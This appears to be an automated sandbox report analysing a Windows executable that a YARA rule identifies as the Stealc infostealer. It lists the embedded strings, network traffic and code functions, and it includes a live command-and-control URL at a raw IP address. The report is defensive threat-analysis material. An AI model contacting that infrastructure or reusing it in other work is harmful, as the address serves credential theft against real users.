Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpf
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpft
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpirefox
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpme
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpnL
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phprowser
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.231.69.191/f190e2808a5419c3.phpzL
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000244000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191ata
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.231.69.191f190e2808a5419c3.php59aef09ac94adad262762b7dcff87lt-release
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: gYjK72gL17.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: gYjK72gL17.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: gYjK72gL17.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: gYjK72gL17.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: gYjK72gL17.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: chromecache_86.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: gYjK72gL17.exe, gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2613733639.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_86.5.dr	String found in binary or memory: https://apis.google.com
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_86.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_86.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_86.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_86.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_86.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: gYjK72gL17.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: gYjK72gL17.exe, 00000000.00000003.2304373058.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_86.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_86.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_86.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: gYjK72gL17.exe, 00000000.00000002.2605632956.0000000000327000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: HDBGDHDAECBGDHJKFIDGCBFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: gYjK72gL17.exe, 00000000.00000002.2610669943.0000000009C91000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJKFIDGCAAFCAF.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49989 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.gYjK72gL17.exe.1c0000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9EB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9EB700
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9EB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9EB8C0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9EB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9EB910
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C98F280

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9835A0	0_2_6C9835A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C996C80	0_2_6C996C80
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9E34A0	0_2_6C9E34A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9EC4A0	0_2_6C9EC4A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9AD4D0	0_2_6C9AD4D0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9964C0	0_2_6C9964C0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C6CF0	0_2_6C9C6CF0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98D4E0	0_2_6C98D4E0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C5C10	0_2_6C9C5C10
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9D2C10	0_2_6C9D2C10
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9FAC00	0_2_6C9FAC00
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F542B	0_2_6C9F542B
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F545C	0_2_6C9F545C
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C995440	0_2_6C995440
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C0DD0	0_2_6C9C0DD0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9E85F0	0_2_6C9E85F0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9B0512	0_2_6C9B0512
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9AED10	0_2_6C9AED10
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C99FD00	0_2_6C99FD00
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9A5E90	0_2_6C9A5E90
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9EE680	0_2_6C9EE680
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9E4EA0	0_2_6C9E4EA0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98BEF0	0_2_6C98BEF0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C99FEF0	0_2_6C99FEF0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F76E3	0_2_6C9F76E3
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C7E10	0_2_6C9C7E10
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9D5600	0_2_6C9D5600
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9E9E30	0_2_6C9E9E30
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9A9E50	0_2_6C9A9E50
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C3E50	0_2_6C9C3E50
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9D2E4E	0_2_6C9D2E4E
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9A4640	0_2_6C9A4640
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98C670	0_2_6C98C670
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F6E63	0_2_6C9F6E63
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9D77A0	0_2_6C9D77A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9B6FF0	0_2_6C9B6FF0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98DFE0	0_2_6C98DFE0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C7710	0_2_6C9C7710
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C999F00	0_2_6C999F00
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9B60A0	0_2_6C9B60A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F50C7	0_2_6C9F50C7
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9AC0E0	0_2_6C9AC0E0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C58E0	0_2_6C9C58E0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C997810	0_2_6C997810
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9CB820	0_2_6C9CB820
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9D4820	0_2_6C9D4820
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9A8850	0_2_6C9A8850
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9AD850	0_2_6C9AD850
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9CF070	0_2_6C9CF070
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C5190	0_2_6C9C5190
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9E2990	0_2_6C9E2990
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9BD9B0	0_2_6C9BD9B0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98C9A0	0_2_6C98C9A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9AA940	0_2_6C9AA940
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9DB970	0_2_6C9DB970
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9FB170	0_2_6C9FB170
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C99D960	0_2_6C99D960
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9FBA90	0_2_6C9FBA90
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C99CAB0	0_2_6C99CAB0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F2AB0	0_2_6C9F2AB0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9822A0	0_2_6C9822A0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9B4AA0	0_2_6C9B4AA0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C8AC0	0_2_6C9C8AC0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9A1AF0	0_2_6C9A1AF0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9CE2F0	0_2_6C9CE2F0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9C9A60	0_2_6C9C9A60
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C98F380	0_2_6C98F380
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9F53C8	0_2_6C9F53C8
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C9CD320	0_2_6C9CD320
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C985340	0_2_6C985340
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: 0_2_6C99C370	0_2_6C99C370

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: String function: 6C9C94D0 appears 90 times
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Code function: String function: 6C9BCBE8 appears 134 times

Source: gYjK72gL17.exe

Static PE information: invalid certificate

Source: gYjK72gL17.exe, 00000000.00000002.2614193675.000000006CC25000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs gYjK72gL17.exe
Source: gYjK72gL17.exe, 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs gYjK72gL17.exe

Source: gYjK72gL17.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.gYjK72gL17.exe.1c0000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/48@4/5

Source: C:\Users\user\Desktop\gYjK72gL17.exe

